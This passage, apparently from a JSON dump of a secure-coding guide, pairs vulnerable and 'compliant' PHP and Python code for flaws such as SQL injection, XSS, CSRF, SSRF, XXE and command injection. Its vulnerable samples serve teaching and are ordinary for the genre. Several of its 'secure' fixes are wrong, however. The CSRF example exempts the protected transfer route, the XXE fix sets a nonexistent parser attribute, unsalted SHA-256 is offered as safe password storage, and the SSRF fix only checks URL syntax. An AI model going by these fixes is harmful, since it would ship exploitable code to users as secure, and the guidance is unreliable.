'https://example.com/package.tar.gz';\n$hash = file_get_contents($url . '.sha256');\n$pkg = file_get_contents($url);\n\nif (hash('sha256', $pkg) === trim($hash)) {\n    file_put_contents('/tmp/package.tar.gz', $pkg);\n    system('tar -xvf /tmp/package.tar.gz');\n} else {\n    throw new Exception('Package hash does not match expected value');\n}\n```\n\n\nIn the compliant code, the integrity of the downloaded package is verified using a SHA-256 hash. The hash is downloaded from a trusted source (e.g., the package repository), and the downloaded package is compared with the expected hash. If the hashes match, the package is stored and extracted; otherwise, an exception is raised.\n\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code for Deserialization of Untrusted Data\n\n// unserialize() function is used to deserialize the input data from a string\n$userData = unserialize($_COOKIE['user']);\n\n// Use the data from $userData\n$name = $userData['name'];\n$id = $userData['id'];\n```\n\nIn this noncompliant code, the `unserialize()` function is used to deserialize the user input data from the `$_COOKIE` array directly, without any validation or sanitization. This can be dangerous because an attacker can manipulate the input data to execute malicious code during the deserialization process.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code for Deserialization of Untrusted Data\n\n// Deserialize the input data after validating and sanitizing it\n$userData = json_decode(filter_input(INPUT_COOKIE, 'user', FILTER_SANITIZE_STRING));\n\n// Use the data from $userData\nif (isset($userData->name)) {\n    $name = $userData->name;\n}\nif (isset($userData->id)) {\n    $id = $userData->id;\n}\n```\n\n\nIn this compliant code, the input data from the `$_COOKIE` array is first validated and sanitized using the `filter_input()` function with the `FILTER_SANITIZE_STRING` filter. Then, the input data is deserialized using the `json_decode()` function, which is safer than `unserialize()` because it only deserializes JSON-formatted data.\n\nFinally, the data from `$userData` is used only after checking that the expected properties exist using `isset()`, which reduces the risk of accessing unexpected properties or executing malicious code.\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nfunction transferMoney($amount, $recipient) {\n  // some code to transfer money\n  // ...\n  \n  // log the transaction\n  file_put_contents('transaction.log', \"Transfered $amount to $recipient\", FILE_APPEND);\n}\n```\n\nIn the above code, the transferMoney function logs transaction information to a file, but the logging is insufficient. There are no timestamps, severity levels, or any other useful information that could help detect or investigate security incidents.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nfunction transferMoney($amount, $recipient) {\n  // some code to transfer money\n  // ...\n  \n  // log the transaction with useful information\n  $log = fopen('transaction.log', 'a');\n  if ($log) {\n    $datetime = date('Y-m-d H:i:s');\n    $severity = 'INFO';\n    $message = \"Transfered $amount to $recipient\";\n    $entry = \"$datetime [$severity]: $message\\n\";\n    fwrite($log, $entry);\n    fclose($log);\n  } else {\n    error_log('Unable to open transaction log file');\n  }\n}\n```\n\n\nIn the compliant code, the `transferMoney` function logs transaction information to a file with useful information, such as a timestamp, severity level, and a formatted message. Additionally, the function handles errors that might occur while logging, such as the inability to open the log file, by logging an error message to the system log. This helps ensure that security incidents can be detected and investigated quickly and effectively.\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n// log the username and password to a file\nfile_put_contents('logs.txt', 'Username: '.$username.' Password: '.$password);\n```\n\nIn the noncompliant code example, the `$_POST` variables are not sanitized before being logged to the file. This could allow an attacker to inject malicious input and log it to the file, potentially compromising the system.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n// sanitize the input using filter_var\n$sanitized_username = filter_var($username, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);\n$sanitized_password = filter_var($password, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);\n\n// log the sanitized username and password to a file\nfile_put_contents('logs.txt', 'Username: '.$sanitized_username.' Password: '.$sanitized_password);\n```\n\n\nIn the compliant code example, the `filter_var` function is used to sanitize the input before being logged to the file. The `FILTER_SANITIZE_STRING` flag removes any character that is not a letter, digit, or whitespace. The `FILTER_FLAG_STRIP_LOW` and `FILTER_FLAG_STRIP_HIGH` flags remove any character with an ASCII value below 32 or above 126, respectively. This ensures that only safe and valid characters are logged to the file.\n\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n$sql = \"SELECT * FROM users WHERE username = '\" . $username . \"' AND password = '\" . $password . \"'\";\n$result = mysqli_query($conn, $sql);\n\nif (mysqli_num_rows($result) > 0) {\n    // user is authenticated\n    // do some sensitive operation\n} else {\n    // user is not authenticated\n    echo \"Invalid credentials\";\n}\n```\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$username = $_POST['username'];\n$password = $_POST['password'];\n\n$sql = \"SELECT * FROM users WHERE username = ? AND password = ?\";\n$stmt = mysqli_prepare($conn, $sql);\nmysqli_stmt_bind_param($stmt, \"ss\", $username, $password);\nmysqli_stmt_execute($stmt);\n$result = mysqli_stmt_get_result($stmt);\n\nif (mysqli_num_rows($result) > 0) {\n    // user is authenticated\n    // do some sensitive operation\n} else {\n    // user is not authenticated\n    echo \"Invalid credentials\";\n}\n```\n\n\nOmission of security-relevant information is a vulnerability that occurs when important security-related information, such as error messages, is not provided to the user or logged for later analysis. In the noncompliant code example, an attacker can use the error message \"Invalid credentials\" to determine if a given username exists in the system. This information can be used in further attacks to try and guess the correct password. The compliant code example uses prepared statements to prevent SQL injection, and does not provide any information in the error message that could be used by an attacker to determine if a username exists in the system or not.\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// sensitive data is logged without proper redaction\n$username = $_POST['username'];\n$password = $_POST['password'];\n\nerror_log(\"Login attempt with username: \".$username.\" and password: \".$password);\n```\n\nThe noncompliant code shows an example where sensitive data (i.e. username and password) is directly logged to an error log file. This can be dangerous as it may expose this sensitive information to unauthorized parties who have access to the log file.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// sensitive data is redacted before being logged\n$username = $_POST['username'];\n$password = $_POST['password'];\n\nerror_log(\"Login attempt with username: \".redact($username).\" and password: \".redact($password));\n\nfunction redact($string) {\n  // replace sensitive data with asterisks\n  return preg_replace('/./', '*', $string);\n}\n```\n\n\nThe compliant code shows an example of how to properly redact the sensitive data before logging it. In this example, the redact function replaces every character in the sensitive string with an asterisk, effectively hiding the sensitive data. The redacted strings are then used in the error log message, which will not reveal the sensitive data.\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n$url = $_GET['url'];\n$file = file_get_contents($url);\necho $file;\n```\n\nIn this noncompliant code, an attacker can pass a malicious URL through the \"url\" parameter in the GET request and the server will make a request to that URL using the file_get_contents() function. This allows the attacker to perform unauthorized actions on behalf of the server.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$url = $_GET['url'];\nif (filter_var($url, FILTER_VALIDATE_URL) === FALSE) {\n    echo \"Invalid URL\";\n} else {\n    $file = file_get_contents($url);\n    echo $file;\n}\n```\n\n\nIn this compliant code, the input from the \"url\" parameter is validated using the FILTER_VALIDATE_URL filter, which checks if the URL is valid. If the URL is invalid, the script will return an error message. If the URL is valid, the server will retrieve the contents of the URL using the file_get_contents() function. This prevents the server from making requests to malicious URLs.\n\n\nIt is important to note that in addition to input validation, other measures such as using a whitelist of allowed URLs and limiting network access can also help prevent SSRF attacks.\n\n"
  },
  {
    "path": "docs/rules/python.md",
    "content": "---\nlayout: default\ntitle: Python\nparent: Rules\n---\n\n# Python\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n@app.route('/users/<id>', methods=['GET'])\ndef get_user(id):\n    user = db.get_user(id)\n    \n    if user:\n        return jsonify(user)\n    else:\n        return jsonify({'error': 'User not found'}), 404\n\n```\n\nThe noncompliant code example exposes sensitive information by returning the complete user object as a JSON response. This can potentially expose sensitive data, such as passwords, email addresses, or other private user details. If an unauthorized user makes a request to this endpoint with a valid user ID, they will receive the complete user object, including sensitive information.\n\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n@app.route('/users/<id>', methods=['GET'])\ndef get_user(id):\n    user = db.get_user(id)\n    \n    if user:\n        sanitized_user = {\n            'id': user['id'],\n            'name': user['name']\n            # Include only necessary non-sensitive information\n        }\n        return jsonify(sanitized_user)\n    else:\n        return jsonify({'error': 'User not found'}), 404\n```\n\n\nThe compliant code addresses the issue by sanitizing the user object before sending the response. Instead of returning the complete user object, it creates a new dictionary (sanitized_user) that only includes necessary non-sensitive information, such as the user ID and name. This way, sensitive data is not exposed to unauthorized users. By applying data sanitization techniques, the code ensures that only the required information is shared and sensitive information is properly protected.\n\n\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef send_email(user_email, message):\n    subject = \"Important Message\"\n    body = f\"Hello {user_email},\\n\\n{message}\\n\\nRegards,\\nAdmin\"\n    \n    # Code to send email using SMTP\n    # ...\n```\n\nThe noncompliant code example inserts sensitive information, such as the user's email address, directly into the email body without proper sanitization or protection. This can expose sensitive information to unintended recipients if the email is intercepted or if the email client does not handle the data securely.\n\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\ndef send_email(user_email, message):\n    subject = \"Important Message\"\n    body = f\"Hello,\\n\\n{message}\\n\\nRegards,\\nAdmin\"\n    \n    # Code to send email using SMTP\n    # ...\n```\n\n\nThe compliant code removes the insertion of the user's email address into the email body. Instead, it uses a generic salutation in the email body without directly referencing the user's email address. By avoiding the inclusion of sensitive information in the sent data, the compliant code ensures that sensitive information is not exposed or leaked during communication. It's important to handle sensitive data with care and follow best practices for data protection and privacy.\n\n\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route('/transfer', methods=['POST'])\ndef transfer():\n    # Transfer funds\n    amount = request.form['amount']\n    destination_account = request.form['destination_account']\n    # ... logic to transfer funds ...\n\n@app.route('/dashboard')\ndef dashboard():\n    return render_template('dashboard.html')\n\nif __name__ == '__main__':\n    app.run()\n```\n\nThe noncompliant code lacks appropriate CSRF protection. The transfer() function performs a fund transfer based on the form data submitted via a POST request. However, it does not implement any mechanism to prevent Cross-Site Request Forgery attacks. An attacker can craft a malicious website that automatically submits a form to the /transfer endpoint, tricking the victim into unknowingly initiating a fund transfer.\n\n\nTo address this issue, here's an example of compliant code:\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nfrom flask import Flask, render_template, request\nfrom flask_wtf.csrf import CSRFProtect\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'your-secret-key'\ncsrf = CSRFProtect(app)\n\n@app.route('/transfer', methods=['POST'])\n@csrf.exempt\ndef transfer():\n    # Transfer funds\n    amount = request.form['amount']\n    destination_account = request.form['destination_account']\n    # ... logic to transfer funds ...\n\n@app.route('/dashboard')\ndef dashboard():\n    return render_template('dashboard.html')\n\nif __name__ == '__main__':\n    app.run()\n```\n\n\nThe compliant code introduces the CSRFProtect extension from Flask-WTF to provide CSRF protection. The @csrf.exempt decorator is used on the transfer() function to exempt it from CSRF protection since it is an intentional API endpoint. By incorporating CSRF protection, the compliant code mitigates the risk of CSRF attacks by validating the authenticity of requests, ensuring that they originate from the same site as the form submission.\n\n\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef login(username, password):\n    if username == 'admin' and password == 'password123':\n        # Login successful\n        return True\n    else:\n        # Login failed\n        return False\n```\n\nThe noncompliant code directly compares the provided username and password with hard-coded values ('admin' and 'password123'). This approach poses a security risk as sensitive credentials are exposed directly in the source code. Anyone with access to the source code can easily retrieve the credentials, compromising the security of the system.\n\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport getpass\n\ndef login(username, password):\n    stored_password = retrieve_password_from_database(username)\n    if password_matches(stored_password, password):\n        # Login successful\n        return True\n    else:\n        # Login failed\n        return False\n\ndef retrieve_password_from_database(username):\n    # Code to retrieve the hashed password from the database\n    # ...\n\ndef password_matches(stored_password, entered_password):\n    # Code to compare the stored password with the entered password\n    # ...\n\nif __name__ == '__main__':\n    username = input(\"Username: \")\n    password = getpass.getpass(\"Password: \")\n    login(username, password)\n```\n\nThe compliant code avoids using hard-coded passwords directly in the source code. Instead, it separates the authentication logic from the password storage and comparison. The retrieve_password_from_database() function retrieves the stored password for a given username from a secure database. The password_matches() function compares the entered password with the stored password using appropriate secure hashing and comparison techniques.\n\nBy following this approach, the password remains securely stored in the database, and the code does not expose sensitive information.\n\n\n\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# You sould install pycryptodome before runing this code\n# pip install pycryptodome\nimport base64\nfrom Crypto.Cipher import DES\nfrom Crypto.Util.Padding import pad, unpad\n\ndef encrypt_data(data, key):\n    cipher = DES.new(key.encode(), DES.MODE_ECB)\n    padded_data = pad(data.encode(), DES.block_size)\n    encrypted_data = cipher.encrypt(padded_data)\n    return base64.b64encode(encrypted_data).decode('utf-8')\n\ndef decrypt_data(encrypted_data, key):\n    cipher = DES.new(key.encode(), DES.MODE_ECB)\n    decrypted_data = cipher.decrypt(base64.b64decode(encrypted_data.encode()))\n    return unpad(decrypted_data, DES.block_size).decode('utf-8')\n\nif __name__ == '__main__':\n    key = 'abcdefgh'                 # 8 bytes key for DES\n    data = 'Hello, World'            # Data to be encrypted\n\n    encrypted_data = encrypt_data(data, key)\n    print('Encrypted data:', encrypted_data)\n\n    decrypted_data = decrypt_data(encrypted_data, key)\n    print('Decrypted data:', decrypted_data)\n```\n\n\nThe noncompliant code uses the DES (Data Encryption Standard) algorithm, which is considered broken and insecure for most cryptographic purposes. Additionally, the code uses the ECB (Electronic Codebook) mode, which does not provide sufficient security against certain attacks. The base64 module is used for encoding and decoding the encrypted data.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Importing required libraries\nimport base64, os\n\n# Importing required libraries from cryptography\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n# Function to encrypt data using AES-GCM algorithm and return the encrypted data in string format\ndef encrypt(data:str, key:str) -> str:\n    iv = os.urandom(12)\n    encryptor = Cipher(algorithms.AES(key.encode('utf-8')), modes.GCM(iv), backend=default_backend()).encryptor()\n    encrypted_data = encryptor.update(data.encode('utf-8')) + encryptor.finalize()\n    return base64.urlsafe_b64encode(iv + encryptor.tag + encrypted_data).decode('utf-8')\n\n# Function to decrypt data using AES-GCM algorithm and return the decrypted data in string format\ndef decrypt(encrypted_data, key) -> str:\n    decoded_data = base64.urlsafe_b64decode(encrypted_data)\n    iv = decoded_data[:12]\n    tag = decoded_data[12:28]\n    encrypted_data = decoded_data[28:]\n    decryptor = Cipher(algorithms.AES(key.encode('utf-8')), modes.GCM(iv, tag), backend=default_backend()).decryptor()\n    return (decryptor.update(encrypted_data) + decryptor.finalize()).decode('utf-8')\n\n# Main function to test the above functions\nif __name__ == '__main__':\n    key = '689ef728d55342d9af07ed4194cf1d4C' # 32 bytes key for AES-256\n    data = 'Hello, World'                    # Data to be encrypted\n\n    # Encrypting and decrypting the data\n    encrypted_data = encrypt(data, key)\n    print('Encrypted data:', encrypted_data)\n\n    decrypted_data = decrypt(encrypted_data, key)\n    print('Decrypted data:', decrypted_data)\n```\n\nThe compliant code uses the cryptography library, which provides a more secure and modern cryptographic API. It employs the AES (Advanced Encryption Standard) algorithm with GCM (Galois/Counter Mode) mode, which is considered more secure than DES. The urlsafe_b64encode and urlsafe_b64decode functions from base64 module are used for encoding and decoding the encrypted data, respectively.\n\n\n\n\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport random\n\ndef generate_random_password(length):\n    password = ''\n    for _ in range(length):\n        password += random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')\n    return password\n```\n\n\nThe noncompliant code attempts to generate a random password by repeatedly selecting a character from a limited set of characters. However, this approach does not provide sufficient entropy, as the character selection is limited to alphanumeric characters. The resulting passwords may not have a strong enough random distribution, making them more susceptible to brute-force attacks.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport secrets\nimport string\n\ndef generate_random_password(length):\n    characters = string.ascii_letters + string.digits + string.punctuation\n    password = ''.join(secrets.choice(characters) for _ in range(length))\n    return password\n```\n\nThe compliant code improves the entropy of the generated password by utilizing the secrets module and a wider range of characters. It combines lowercase and uppercase letters, digits, and punctuation symbols to form a more diverse character set. The secrets.choice function is used to securely select a character from the extended set for each position in the password. This approach ensures a higher level of randomness and increases the strength of the generated passwords.\n\n\n\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef generate_html_output(input_data):\n    html = \"<div>\" + input_data + \"</div>\"\n    return html\n```\n\nThe noncompliant code takes an input_data parameter and directly concatenates it into an HTML string without proper sanitization or escaping. This approach can lead to an XSS vulnerability as it allows an attacker to inject malicious scripts or HTML code into the output. If the input_data contains user-controlled input, an attacker can craft input that includes JavaScript code or HTML tags, which will be executed when the generated HTML is rendered by a browser.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport html\n\ndef generate_html_output(input_data):\n    escaped_data = html.escape(input_data)\n    html = \"<div>\" + escaped_data + \"</div>\"\n    return html\n```\n\n\nThe compliant code uses the html.escape function to properly sanitize the input_data by replacing special characters with their corresponding HTML entities. This step ensures that any user-controlled input is treated as plain text and not interpreted as HTML or JavaScript code when rendered in the browser. By escaping the input data, the compliant code mitigates the risk of XSS attacks by preventing the execution of malicious scripts or the unintended interpretation of HTML tags.\n\n\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport sqlite3\n\ndef get_user_data(username):\n    conn = sqlite3.connect('mydb.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    cursor.execute(query)\n    result = cursor.fetchall()\n    conn.close()\n    return result\n```\n\nThe noncompliant code takes a username parameter and directly concatenates it into a SQL query without using parameterized queries or proper input validation. This approach can lead to a SQL injection vulnerability as it allows an attacker to manipulate the query by providing malicious input. An attacker can modify the username parameter to include additional SQL statements, altering the intended behavior of the query or even gaining unauthorized access to the database.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport sqlite3\n\ndef get_user_data(username):\n    conn = sqlite3.connect('mydb.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = ?\"\n    cursor.execute(query, (username,))\n    result = cursor.fetchall()\n    conn.close()\n    return result\n```\n\nThe compliant code uses parameterized queries with placeholders to securely pass the username parameter to the SQL query. Instead of directly concatenating the input into the query string, the placeholder ? is used, and the actual value is passed separately as a parameter to the execute method. This ensures that the input is properly sanitized and treated as data, eliminating the risk of SQL injection attacks. The compliant code protects against unauthorized manipulation of the query structure and ensures the safe execution of the intended SQL statement.\n\n\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport os\n\ndef delete_file(file_name):\n    path = \"/path/to/files/\" + file_name\n    if os.path.exists(path):\n        os.remove(path)\n        print(\"File deleted.\")\n    else:\n        print(\"File not found.\")\n```\n\n\nThe noncompliant code takes a file_name parameter and directly concatenates it into the path variable without proper validation or sanitization. This approach can lead to an external control of file name or path vulnerability, as an attacker can manipulate the file_name parameter to access or delete arbitrary files on the system. By providing a specially crafted file_name input, an attacker can potentially traverse directories or delete sensitive files unintentionally.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport os\nimport os.path\n\ndef delete_file(file_name):\n    base_path = \"/path/to/files/\"\n    path = os.path.join(base_path, file_name)\n\n    if os.path.exists(path) and os.path.isfile(path):\n        os.remove(path)\n        print(\"File deleted.\")\n    else:\n        print(\"File not found.\")\n```\n\nThe compliant code addresses the vulnerability by using the os.path.join function to safely concatenate the file_name parameter with the base path. This ensures that the resulting file path is properly formed regardless of the input. Additionally, the compliant code includes checks to verify that the file exists and is a regular file (os.path.isfile) before performing any operations on it. This mitigates the risk of unintended file access or deletion and provides a more secure approach to file handling in Python.\n\n\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef divide_numbers(a, b):\n    try:\n        result = a / b\n        return result\n    except Exception as e:\n        error_msg = f\"An error occurred: {str(e)}\"\n        print(error_msg)\n```\n\n\nThe noncompliant code captures the exception message in the error_msg variable and prints it directly to the console. This can lead to the generation of error messages that contain sensitive information, such as database connection details, stack traces, or other internal system information. If an attacker can trigger an exception, they may be able to obtain valuable information that can be used to exploit the system further.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport logging\n\ndef divide_numbers(a, b):\n    try:\n        result = a / b\n        return result\n    except Exception as e:\n        logging.error(\"An error occurred during division\", exc_info=True)\n```\n\nThe compliant code addresses the issue by using a logging framework, such as the built-in logging module, to handle error messages. Instead of directly printing the error message to the console, the code uses the logging.error method to log the error message, along with the stack trace (exc_info=True). By using a logging framework, the error messages can be properly handled and logged according to the configured logging settings. This helps prevent sensitive information from being exposed in error messages displayed to end-users or attackers.\n\n\n\n\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef save_credentials(username, password):\n    credentials_file = open(\"credentials.txt\", \"w\")\n    credentials_file.write(f\"Username: {username}\\n\")\n    credentials_file.write(f\"Password: {password}\\n\")\n    credentials_file.close()\n```\n\nThe noncompliant code saves the provided username and password directly to a file called \"credentials.txt\" without any form of encryption or protection. Storing sensitive information like credentials in plain text is highly insecure because anyone with access to the file can easily read and misuse the information. This can lead to unauthorized access and compromise of user accounts.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport hashlib\n\ndef save_credentials(username, password):\n    hashed_password = hashlib.sha256(password.encode()).hexdigest()\n    credentials = f\"Username: {username}\\nPassword: {hashed_password}\\n\"\n    \n    with open(\"credentials.txt\", \"w\") as credentials_file:\n        credentials_file.write(credentials)\n```\n\nThe compliant code addresses the issue by using a one-way hashing algorithm (SHA-256 in this example) to securely hash the password before storing it. The password is not stored directly, but rather its hash value is calculated and stored. Hashing is a one-way process, making it difficult to retrieve the original password from the hash. By using a secure hash function, even if an attacker gains access to the stored credentials, they won't be able to easily reverse-engineer the original password. This significantly enhances the security of the stored credentials.\n\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport subprocess\n\ndef process_user_input(user_input):\n    # Assume user_input comes from an untrusted source\n    cmd = f\"echo '{user_input}'\"\n    output = subprocess.check_output(cmd, shell=True)\n    print(output)\n```\n\nThe noncompliant code takes user input directly and uses it to construct a command to be executed by the subprocess module. This approach can lead to a trust boundary violation, as it allows untrusted input to be executed as a command on the system. An attacker could potentially inject malicious commands, leading to unauthorized access or execution of arbitrary code on the system.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport subprocess\nimport shlex\n\ndef process_user_input(user_input):\n    # Assume user_input comes from an untrusted source\n    cmd_args = shlex.split(f\"echo {user_input}\")\n    output = subprocess.check_output(cmd_args)\n    print(output)\n```\n\n\nThe compliant code addresses the trust boundary violation by using the shlex.split() function to properly tokenize the user input, ensuring that it is interpreted as separate arguments instead of a single command. This helps prevent command injection attacks by ensuring that the input is treated as data rather than executable code. By properly handling and sanitizing user input, the code establishes a clear trust boundary and mitigates the risk of unauthorized command execution.\n\n\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport requests\n\ndef login(username, password):\n    # Assume username and password come from user input\n    url = \"https://example.com/login\"\n    data = {\"username\": username, \"password\": password}\n    response = requests.post(url, data=data)\n    \n    if response.status_code == 200:\n        print(\"Login successful\")\n    else:\n        print(\"Login failed\")\n```\n\nThe noncompliant code takes user-provided username and password values and sends them as plaintext in a POST request to a login endpoint. This approach exposes the credentials to potential interception or eavesdropping, as they are transmitted without any form of protection. Attackers could potentially intercept the network traffic or access logs to obtain the credentials, compromising the security of the user's account.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport requests\nfrom requests.auth import HTTPDigestAuth\n\ndef login(username, password):\n    # Assume username and password come from user input\n    url = \"https://example.com/login\"\n    auth = HTTPDigestAuth(username, password)\n    response = requests.post(url, auth=auth)\n    \n    if response.status_code == 200:\n        print(\"Login successful\")\n    else:\n        print(\"Login failed\")\n```\n\n\nThe compliant code addresses the issue of insufficiently protected credentials by using HTTP Digest Authentication (HTTPDigestAuth) to securely transmit the username and password. Digest authentication uses a challenge-response mechanism that involves hashing the password and sending a hashed value along with the request. This approach ensures that the password is not transmitted in plaintext, providing a higher level of security against eavesdropping or interception attacks.\n\n\n\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport xml.etree.ElementTree as ET\n\ndef parse_xml(xml_string):\n    tree = ET.fromstring(xml_string)\n    # Process the XML data\n    ...\n```\n\nThe noncompliant code uses the xml.etree.ElementTree module to parse an XML string. However, it doesn't explicitly disable the resolution of external entities, which can introduce security risks. An attacker could potentially craft a malicious XML file that includes external entity references and exploit this to perform XXE attacks, such as reading sensitive files or conducting denial-of-service attacks.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport xml.etree.ElementTree as ET\n\ndef parse_xml(xml_string):\n    parser = ET.XMLParser()\n    parser.entity_declaration = False  # Disable external entity resolution\n    tree = ET.fromstring(xml_string, parser=parser)\n    # Process the XML data\n    ...\n```\n\n\nThe compliant code explicitly creates an XML parser (ET.XMLParser()) and disables the resolution of external entities by setting parser.entity_declaration to False. This ensures that any external entity references in the XML string are not resolved, mitigating the risk of XXE attacks. By disabling external entity resolution, the code restricts the parser from accessing or including external entities, enhancing the security of the XML processing.\n\n\n\n\n\n## Vulnerable and Outdated Components\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nfrom flask import Flask, render_template\nimport requests\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    # Use a vulnerable function to fetch data\n    response = requests.get('http://example.com/api/v1/users')\n    data = response.json()\n    return render_template('index.html', data=data)\n\nif __name__ == '__main__':\n    app.run()\n```\n\nThe noncompliant code uses the requests library to make an HTTP request to an API endpoint and fetch user data. However, the code does not consider the security implications of using outdated or vulnerable components. The use of outdated libraries may expose the application to known security vulnerabilities, which can be exploited by attackers.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nfrom flask import Flask, render_template\nimport requests\nfrom requests.packages.urllib3.util import ssl_\n\n# Disable SSL verification warnings\nssl_.DEFAULT_CIPHERS += 